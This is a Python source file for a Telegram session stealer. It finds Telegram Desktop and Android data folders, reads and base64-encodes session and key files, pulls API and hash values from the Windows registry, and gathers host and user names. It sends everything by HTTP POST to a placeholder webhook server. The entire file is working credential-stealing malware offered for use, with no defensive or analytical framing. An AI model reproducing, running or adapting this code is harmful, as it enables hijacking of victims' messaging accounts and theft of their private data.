import os,sys,json,sqlite3,base64,glob,platform,requests,winreg,ctypes
from datetime import datetime
from telethon import TelegramClient,sessions

class SessionGrabber:
 def __init__(self,hook=None):
  self.hook=hook
  self.os=platform.system()
  self.found=[]
 
 def get_paths(self):
  p=[]
  if self.os=="Windows":
   u=os.path.expanduser("~")
   b=u+"/AppData/Roaming/Telegram Desktop/tdata/"
   if os.path.exists(b):
    for f in os.listdir(b):
     c=b+f
     if os.path.isdir(c) and len(f)==16:
      p.append(c)
  elif self.os=="Linux":
   b=os.path.expanduser("~/.local/share/TelegramDesktop/tdata/")
   if os.path.exists(b):
    for f in os.listdir(b):
     c=b+f
     if os.path.isdir(c) and len(f)==16:
      p.append(c)
  elif self.os=="Android":
   if os.path.exists("/data/data/org.telegram.messenger/files/databases/"):
    p.append("/data/data/org.telegram.messenger/files/databases/")
  return p
 
 def scan_folder(self,path):
  out={"path":path,"files":[],"sessions":[]}
  try:
   for f in os.listdir(path):
    full=path+"/"+f
    if os.path.isfile(full):
     out["files"].append(f)
     if f.endswith(".session") or f=="key" or f.startswith("map"):
      with open(full,"rb") as x:
       data=x.read()
       out["sessions"].append({"name":f,"size":len(data),"b64":base64.b64encode(data).decode()})
   if os.path.exists(path+"/config"):
    with open(path+"/config","r",encoding="utf-8",errors="ignore") as x:
     out["config"]=x.read()
  except Exception as e:
   out["error"]=str(e)
  return out
 
 def grab(self):
  for path in self.get_paths():
   data=self.scan_folder(path)
   if data.get("sessions"):
    self.found.append(data)
  return self.found
 
 def get_reg(self):
  out=[]
  if self.os=="Windows":
   try:
    k=winreg.OpenKey(winreg.HKEY_CURRENT_USER,"Software\\Telegram Desktop\\")
    i=0
    while True:
     try:
      n,v,_=winreg.EnumValue(k,i)
      if "api" in n.lower() or "hash" in n.lower():
       out.append({n:v})
      i+=1
     except WindowsError:
      break
   except:pass
  return out
 
 def send(self,data):
  if self.hook:
   try:
    r=requests.post(self.hook,json={"time":datetime.now().isoformat(),"os":self.os,"data":data},timeout=10)
    return r.status_code==200
   except:pass
  return False
 
 def save(self,data):
  n="tg_"+datetime.now().strftime("%Y%m%d_%H%M%S")+".json"
  with open(n,"w",encoding="utf-8") as f:
   json.dump(data,f,indent=2,ensure_ascii=False)
  return n
 
 def run(self):
  print("> scanning...")
  s=self.grab()
  if not s:
   print("> nothing found")
   return None
  reg=self.get_reg()
  res={"sessions":s,"registry":reg,"system":{"os":self.os,"host":os.uname().nodename if hasattr(os,"uname") else "unknown","user":os.getlogin() if hasattr(os,"getlogin") else "unknown"}}
  if self.hook:
   if self.send(res):
    print("> sent to hook")
   else:
    print("> send failed, saving local")
    self.save(res)
  else:
   f=self.save(res)
   print(f"> saved to {f}")
  return res

if __name__=="__main__":
 g=SessionGrabber(hook="https://your-server.com/hook")
 g.run()